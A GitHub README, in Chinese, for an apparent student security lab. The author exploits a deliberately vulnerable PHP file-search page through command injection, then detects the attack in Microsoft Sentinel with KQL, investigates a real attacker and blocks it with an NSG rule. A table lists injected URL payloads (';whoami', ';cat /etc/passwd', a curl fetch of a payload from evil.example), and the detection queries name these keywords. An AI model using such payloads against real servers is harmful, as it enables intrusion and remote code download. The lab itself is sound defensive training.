Bikash-Raya/vulnerable-webserver-rce-detection-incident-response-

GitHub: Bikash-Raya/vulnerable-webserver-rce-detection-incident-response-

一个涵盖命令注入漏洞利用、Apache日志接入Microsoft Sentinel、KQL检测规则编写、事件调查与NSG封堵的完整攻防安全实验室项目。

Stars: 0 | Forks: 0

# 🔴 易受攻击的 Web 服务器实验室 – RCE 利用、检测与事件响应 ### 命令注入 · Apache 日志接入 · Microsoft Sentinel · KQL · NSG 封堵 ![Domain](https://img.shields.io/badge/Type-Offensive%20%2B%20Defensive%20Security%20Lab-red?style=for-the-badge) ![SIEM](https://img.shields.io/badge/SIEM-Microsoft%20Sentinel-blue?style=for-the-badge) ![Attack](https://img.shields.io/badge/Vulnerability-RCE%20%2F%20CWE--78-critical?style=for-the-badge) **编写者:** Bikash Raya **项目类型:** 完整的从攻击到防御的实验室 — RCE 利用、日志接入、检测、调查与 NSG 封堵
## 📁 仓库结构 | 文件 | 描述 | | --- | --- | | [Vulnerable_WebServer_RCE_Detection_IR_Lab_Report.docx](./Vulnerable_WebServer_RCE_Detection_IR_Lab_Report.docx) | 包含所有屏幕截图和完整源代码的完整实验报告 | | README.md | 项目概述 | ## 📋 概述 在这个实验室中,我构建了一个故意存在漏洞的 Web 应用程序,使用 7 阶段 kill chain 对其进行了攻击,将 Apache 日志接入了 Microsoft Sentinel,使用 KQL 检测了攻击,调查了该事件,并通过在网络层阻断攻击者进行了封堵。 我部署了一个带有故意命令注入缺陷 (CWE-78) 的 PHP Web 应用程序。在运行了我自己的 7 阶段攻击后,我将 VM 暴露在互联网上。几天内,真实的威胁行为者 103.168.66.101 发现并利用了相同的漏洞——在 Sentinel 中生成了 82 个相互关联的高严重性事件,我对此进行了调查和封堵。 **我做了什么:** * 🏗️ 在 Azure 中的 Ubuntu + Apache2 上部署了一个易受攻击的 PHP Web 应用程序(`shell_exec()` — CWE-78)——故意未进行过滤 * ⚔️ 执行了 **7 阶段攻击链** — 侦察 → RCE → 主机发现 → 用户枚举 → 进程发现 → 网络发现 → payload 检索 * 📡 通过 **Custom Logs AMA** 连接器将 Apache 访问日志接入 Microsoft Sentinel * 🔍 使用 **KQL** 针对 `ApacheHTTPServer_CL` 表检测攻击命令 * 🚨 创建了一个映射到 MITRE ATT&CK 的 **计划内高严重性分析规则** * 🌐 将 VM 暴露 — 真实攻击者 **103.168.66.101** 独立发现并利用了它 → 我必须调查的 **82 个关联的 Sentinel 事件** * 🔎 使用 **3 个 KQL 查询**进行调查 — 攻击分类、IP 识别、时间线重构 * 🛡️ 使用真实的 **NSG Deny 规则**封堵了攻击,阻断了端口 80 上的攻击者 IP ## 🛠️ 使用的技术 * Microsoft Azure (VM · NSG · Resource Group) * Ubuntu Server 24.04 LTS * Apache2 + PHP + libapache2-mod-php * Microsoft Sentinel + Microsoft Defender XDR * Log Analytics Workspace (VulnLab-LAW) * Custom Logs via AMA (Data Connector) * KQL (Kusto Query Language) * Azure NSG (Network Security Groups) * MITRE ATT&CK Framework ## 🧪 实验环境 | 组件 | 值 | | --- | --- | | Resource Group | Vuln-Web-Lab (澳大利亚东部) | | VM | VulnWeb-VM — Ubuntu Server 24.04 LTS x64 | | 公共 IP | 20.5.176.148 | | Web Server | Apache2 + PHP + libapache2-mod-php | | 漏洞 Endpoint | `/internal/index.php` — `shell_exec()` — 无输入过滤 | | NSG 规则 | 端口 80 对互联网开放(故意的) | | Log Analytics Workspace | VulnLab-LAW | | Data Connector | Custom Logs via AMA | | Sentinel 表 | `ApacheHTTPServer_CL` | | 真实攻击者 IP | 103.168.66.101 | ## 🌐 实验架构 ``` [Internet — Attacker] Local (7-stage attack) + Real attacker 103.168.66.101 │ │ HTTP GET /internal/index.php?search=;whoami │ Port 80 — NSG Any/Any/Allow (intentional) ▼ [VulnWeb-VM — Ubuntu 24.04] Apache2 + PHP /internal/index.php — shell_exec($input) — NO SANITIZATION /var/log/apache2/access.log — all requests including attack commands logged │ │ Custom Logs via AMA + Data Collection Rule ▼ [VulnLab-LAW — Log Analytics Workspace] Table: ApacheHTTPServer_CL │ ▼ [Microsoft Sentinel] KQL Detection → High-Severity Analytics Rule → Incident Generated (82 correlated events) → 3 KQL Investigation Queries → Attack Classified, IP Identified, Timeline Reconstructed │ ▼ [Azure NSG — Block-Malicious-IP-RCE] Deny 103.168.66.101 on Port 80 → Attack Contained ✅ ``` ## ⚠️ 漏洞 — CWE-78 命令注入 我部署了一个名为“内部文件搜索工具”的工具,其中包含一个故意的命令注入缺陷。我将用户输入直接拼接到 shell 命令中,没有任何过滤——这就是漏洞所在。 ``` File Search Utility

Internal File Search Tool

``` **保存至:** `/var/www/html/internal/index.php` ## ⚔️ 7 阶段攻击链 我从浏览器手动执行了每个阶段——不需要特殊工具,只需构造 URL。每个阶段都在上一个阶段的基础上构建,完全符合真实攻击者的行进方式。 | 阶段 | MITRE | 命令 | 揭示的信息 | |-------|-------|---------|-----------------| | 1 — 侦察 | T1590 | URL 枚举 `/admin` `/dev` `/internal` | 发现隐藏的内部应用程序 | | 2 — 初始访问 (RCE) | T1190 | `?search=;whoami` | 确认 RCE — 服务器以 `www-data` 身份运行 | | 3 — 主机发现 | T1082 | `?search=;uname -a` | 识别操作系统版本和内核 | | 4 — 用户枚举 | T1087 | `?search=;cat /etc/passwd` | 列出所有系统用户帐户 | | 5 — 进程发现 | T1057 | `?search=;ps aux` | 识别正在运行的进程和服务 | | 6 — 网络发现 | T1046 | `?search=;ss -tulnp` | 识别监听端口和服务 | | 7 — Payload 检索 | T1105 | `?search=;curl http://evil.example/payload.sh` | 模拟 C2 payload 下载 | ## 📡 Apache 日志接入 Sentinel Apache 记录了我发出的每一个 HTTP 请求——包括 URL 参数中注入的命令。通过将此文件流式传输到 Sentinel 中,每个 `;whoami` 和 `;cat /etc/passwd` 都可以使用 KQL 进行搜索。 | 设置 | 值 | | --- | --- | | 连接器 | Custom Logs via AMA | | 日志文件 | `/var/log/apache2/access.log` | | DCR 名称 | ApacheHTTPServer | | Sentinel 表 | `ApacheHTTPServer_CL` | ## 🔍 KQL 检测 我的检测方法是在原始 Apache 日志条目中搜索已知的攻击关键字。当我将 `;whoami` 注入 URL 时,该字符串原样出现在访问日志中——一个简单的 `has_any()` 查询就可以立即浮现出每个攻击请求。 ``` ApacheHTTPServer_CL | where RawData has_any ( "whoami", "hostname", "uname", "/etc/passwd", "ps", "ss", "curl", "payload.sh" ) | project TimeGenerated, RawData | order by TimeGenerated desc ``` ## 🚨 计划内分析规则 | 设置 | 值 | | --- | --- | | 规则名称 | Linux Web 应用程序命令注入检测 | | 警报名称 | 可能的 Linux Web 应用程序 RCE 尝试 | | 严重性 | 🔴 **高** | | 运行频率 | 每 5 分钟 | | 回溯 | 10 分钟 | | 阈值 | 结果 > 0 | | 警报分组 | 24 小时窗口 — 将来自同一攻击者的重复警报整合为一个事件 | | MITRE 战术 | 初始访问 · 执行 · 发现 · C2 | | MITRE 技术 | T1190 · T1059 · T1082 · T1087 · T1105 | ## 🔎 事件调查 — 3 个 KQL 查询 **我的事件:** 🔴 高严重性 | 82 个关联事件 | 源 IP:103.168.66.101 ### 查询 1 — 对攻击活动进行分类 *我使用它来了解攻击者实际在做什么——用可读的操作类型标记每个日志条目。* ``` ApacheHTTPServer_CL | extend IP = tostring(split(RawData, " ")[0]) | extend Action = case( RawData has "whoami", "RCE Attempt", RawData has "uname", "System Recon", RawData has "cat /etc/passwd", "Credential Access Attempt", RawData has "curl", "External Connection Attempt", "Other") | project TimeGenerated, IP, Action, RawData | order by TimeGenerated asc ``` ### 查询 2 — 识别攻击者 IP *我使用它来确认是哪个 IP 所为——来自单个 IP 的高计数意味着自动化或针对性利用。* ``` ApacheHTTPServer_CL | extend IP = tostring(split(RawData, " ")[0]) | summarize AttackCount = count() by IP | order by AttackCount desc ``` ✅ **103.168.66.101** 被确认为首要攻击者——其数量和模式指向自动化工具。 ### 查询 3 — 重构攻击时间线 *我使用它来查看攻击是如何发展的——划分到 5 分钟的时间窗口清晰地显示了升级模式。* ``` ApacheHTTPServer_CL | extend IP = tostring(split(RawData, " ")[0]) | summarize count() by bin(TimeGenerated, 5m), IP | order by TimeGenerated asc ``` ✅ 我可以清楚地看到攻击从最初的探测升级为命令执行——与自动化工具一致。 ## 🛡️ 封堵 — NSG Deny 规则 我没有让服务器离线,而是创建了一条有针对性的 NSG Deny 规则,仅阻断端口 80 上的攻击者 IP——在不影响合法用户的情况下停止了攻击。 | 字段 | 值 | | --- | --- | | 规则名称 | Block-Malicious-IP-RCE | | 源 IP | 103.168.66.101 | | 目标端口 | 80 | | 动作 | **Deny** | | 优先级 | 101 | **封堵后验证:** ``` ApacheHTTPServer_CL | where RawData has "103.168.66.101" | order by TimeGenerated desc ``` ✅ 应用 NSG 规则后,KQL 查询没有返回来自该 IP 的进一步请求——封堵已确认。 ## 🎯 MITRE ATT&CK 技术 | 技术 | 名称 | 战术 | |-----------|------|--------| | T1190 | 利用面向公众的应用程序 | 初始访问 | | T1059 | 命令和脚本解释器 | 执行 | | T1082 | 系统信息发现 | 发现 | | T1033 | 系统所有者/用户发现 | 发现 | | T1087 | 帐户发现 | 发现 | | T1057 | 进程发现 | 发现 | | T1046 | 网络服务发现 | 发现 | | T1105 | 入口工具传输 | 命令与控制 | ## 🎯 展示的技能 * 易受攻击 Web 应用程序部署(PHP 命令注入 — CWE-78) * 7 阶段攻击性攻击链执行 * 将 Apache 日志接入 Sentinel(Custom Logs via AMA + DCR) * KQL 威胁检测(has_any、extend、case、summarize、bin) * 创建计划内分析规则(高严重性,映射 MITRE) * 真实事件调查(3 个 KQL 查询) * 攻击时间线重构 * MITRE ATT&CK 映射(8 项技术) * 基于 NSG 的网络封堵(真实的 Deny 规则) * Microsoft Sentinel + Defender XDR 统一门户 * Linux CLI 和 Azure VM 管理 ## 🎯 关键要点 ## 🔗 相关项目 ## 🔗 与我联系
[![LinkedIn](https://img.shields.io/badge/LinkedIn-Connect-blue?style=for-the-badge&logo=linkedin)](https://www.linkedin.com/in/bikash-raya/) [![GitHub](https://img.shields.io/badge/GitHub-Follow-black?style=for-the-badge&logo=github)](https://github.com/Bikash-Raya)
## 🔧 根除 在封堵之后,我记录了根本原因并推荐了修复方案,并向开发团队提交了工单。我的职责是识别和封堵——由开发团队部署代码修复。 ### 根本原因 `/internal/index.php` endpoint 将用户输入直接传递给 `shell_exec()` 而没有任何过滤(CWE-78 / OWASP A03:2021 — 注入)。任何发现此 endpoint 的攻击者都可以作为 Apache Web 服务器进程 (`www-data`) 执行任意 OS 命令。 ### 推荐修复 — 提供给开发团队 ``` ``` **我在工单中包含的额外建议:** - 将 `/internal/` 置于身份验证之后——切勿公开暴露内部工具 - 考虑将 `shell_exec()` 替换为不会调用 OS 命令的 PHP 原生函数(`scandir()`, `glob()`) - 部署 Web 应用程序防火墙 (WAF) 以在网络层阻断注入模式 - 通过 Apache 访问控制将 `/internal/` 限制为受信任的 IP 范围 ## ♻️ 恢复 恢复取决于开发团队部署修复程序。在此之前,我将保留 NSG Deny 规则作为临时控制措施。 **恢复检查清单:** - 确认修补后的 `index.php` 已部署到 `/var/www/html/internal/` - 验证修复 — 测试 `;whoami` 注入 — 应该返回错误,而不是命令输出 - 运行恢复后的 KQL 查询以确认没有进一步的攻击流量 - 恢复后监控 `ApacheHTTPServer_CL` 24-48 小时 **恢复后验证查询:** ``` ApacheHTTPServer_CL | where RawData has "103.168.66.101" or RawData has_any ("whoami","passwd","uname","curl","payload") | project TimeGenerated, RawData | order by TimeGenerated desc ``` ✅ 如果在封堵时间戳之后没有出现新条目——则恢复已确认。之后的任何条目都意味着攻击者找到了另一条路径,我需要重新调查。 ## 📝 事件后回顾 ### 我的发现 - `/internal/` endpoint 没身份验证并且可以公开访问——我应该从一开始就添加访问控制 - 单单是 Apache 日志就为我提供了重构整个攻击所需的一切——不需要额外的工具 - 我的分析规则在首次攻击后 5 分钟内触发——检测时机运作良好 - 24 小时警报分组将 82 个单独的警报变成了 1 个事件——更容易处理 - 真实的攻击者在几天内就出现了——这证实了任何暴露的漏洞 endpoint 都会被迅速发现和利用 ### 我会做哪些不同的改进 - 部署 WAF,在注入模式到达应用程序之前将其阻断 - 从第一天起就为 `/internal/` 添加身份验证——它永远不应该被公开访问 - 在暴露任何应用程序之前运行自动化漏洞扫描(例如 Nessus)——这会立即发现此问题 - 避免使用 `shell_exec()` 并使用像 `scandir()` 这样的 PHP 原生函数——结果相同,但没有 OS 命令风险 - 永久保留对 103.168.66.101 的 NSG 阻断——没有理由再让该 IP 重新进入